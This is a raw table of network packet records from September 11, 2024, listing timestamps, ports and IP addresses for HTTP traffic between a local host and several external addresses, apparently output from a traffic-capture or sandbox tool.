Sep 11, 2024 16:22:17.529809952 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.529978991 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.529988050 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.529999018 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530028105 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.530054092 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.530137062 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530148983 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530159950 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530170918 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530178070 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.530215025 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.530291080 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530303001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530313015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530323982 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530328035 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.530338049 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530364037 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.530395985 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.530457973 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.530471087 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.530483007 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.530495882 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.530503988 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.530507088 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.530519009 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530525923 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.530569077 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.530601978 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530616045 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530630112 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.530647993 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.530675888 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.530788898 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530798912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530810118 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.530823946 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.530827045 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.530838966 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530849934 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530853033 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.530862093 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530872107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.530879974 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.530884027 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.530894995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.530905962 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530915976 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.530927896 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.530965090 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.530973911 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530985117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.530994892 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.530996084 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.531007051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.531013012 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.531018972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.531054974 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.531100988 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.531100988 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.531141043 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.531152010 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.531162024 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.531194925 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.531255007 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.532847881 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.532860041 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.532871008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.532881021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.532893896 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.532952070 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.532991886 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533003092 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.533004045 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533016920 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533030033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533036947 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.533041954 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533055067 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533071995 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.533097982 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.533132076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533144951 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533157110 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533168077 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.533200026 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.533277988 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533289909 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533298969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533310890 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533322096 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533328056 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.533348083 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.533370018 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.533446074 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533459902 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533471107 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533482075 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533489943 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.533493996 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.533510923 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.533543110 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.534897089 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.534955978 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.535060883 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.535109043 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.537096977 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.537142992 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.537280083 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.537292004 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.537305117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.537323952 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.537355900 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.537426949 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.537439108 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.537448883 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.537461996 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.537467003 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.537475109 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.537498951 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.537520885 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.537606955 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.537619114 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.537636042 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.537647963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.537653923 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.537662029 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.537673950 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.537683964 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.537684917 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.537698030 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.537719011 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.537756920 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.537772894 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.537772894 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.537834883 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.537955046 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.537966967 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.537977934 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.537988901 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.537998915 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538008928 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538012981 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.538064957 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.538130999 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538142920 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538152933 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538153887 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.538166046 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538176060 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.538177013 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538191080 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538202047 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538216114 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.538250923 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.538283110 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538295984 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538306952 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538320065 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538328886 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.538331032 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538346052 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538358927 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538371086 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538371086 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.538405895 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.538430929 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.538444042 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538455009 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538494110 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.538526058 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.538616896 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538630962 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538640976 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538651943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538662910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538674116 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.538681984 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538692951 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538707018 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538712978 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.538713932 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.538742065 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.538775921 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538788080 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538800001 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538811922 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538813114 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.538825035 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538836956 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.538846016 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538856983 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538857937 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.538877010 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.538916111 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.538916111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538928986 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.538943052 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.538954020 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.538986921 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.539103031 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539114952 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539125919 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539135933 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539146900 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539160967 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.539196014 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.539268017 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539280891 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539292097 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539304018 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539314985 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539318085 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.539331913 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539336920 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.539371014 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.539433956 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539446115 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539457083 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539469004 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539469957 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.539480925 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539493084 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539503098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539503098 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.539515972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539541006 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.539568901 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.539603949 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539616108 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539627075 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539638042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539644003 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.539649963 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.539659977 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539668083 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.539670944 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539707899 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.539742947 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.539742947 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.539781094 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539792061 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539803982 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539846897 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.539846897 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.539958000 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539971113 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539980888 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.539994001 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540004015 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540007114 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540015936 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540028095 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540040016 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540050030 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540050983 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540091991 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540112019 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540112019 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540124893 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540134907 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540147066 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540158033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540158033 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540169954 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540178061 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.540182114 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540194988 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540205956 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540210009 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.540234089 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.540242910 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540256023 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540266037 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540267944 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540301085 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540329933 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540409088 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540420055 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540431976 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540441990 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540455103 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540560007 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540570974 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540582895 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540596008 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540596008 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540642023 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540642023 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540644884 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540658951 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540669918 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540680885 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540693045 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540693998 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540705919 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540716887 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540718079 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540761948 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540786982 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.540798903 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540808916 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540822029 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540832043 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.540832996 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540848970 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540860891 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540867090 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.540874958 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540898085 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.540915966 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540923119 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.540930033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540941954 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540952921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.540954113 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.541002989 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.541007042 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.541043043 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.541448116 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.541460037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.541470051 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.541491032 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.541510105 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.541604996 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.541615963 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.541625977 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.541639090 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.541650057 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.541660070 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.541696072 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.541696072 CEST	49738	80	192.168.2.4	176.113.115.187
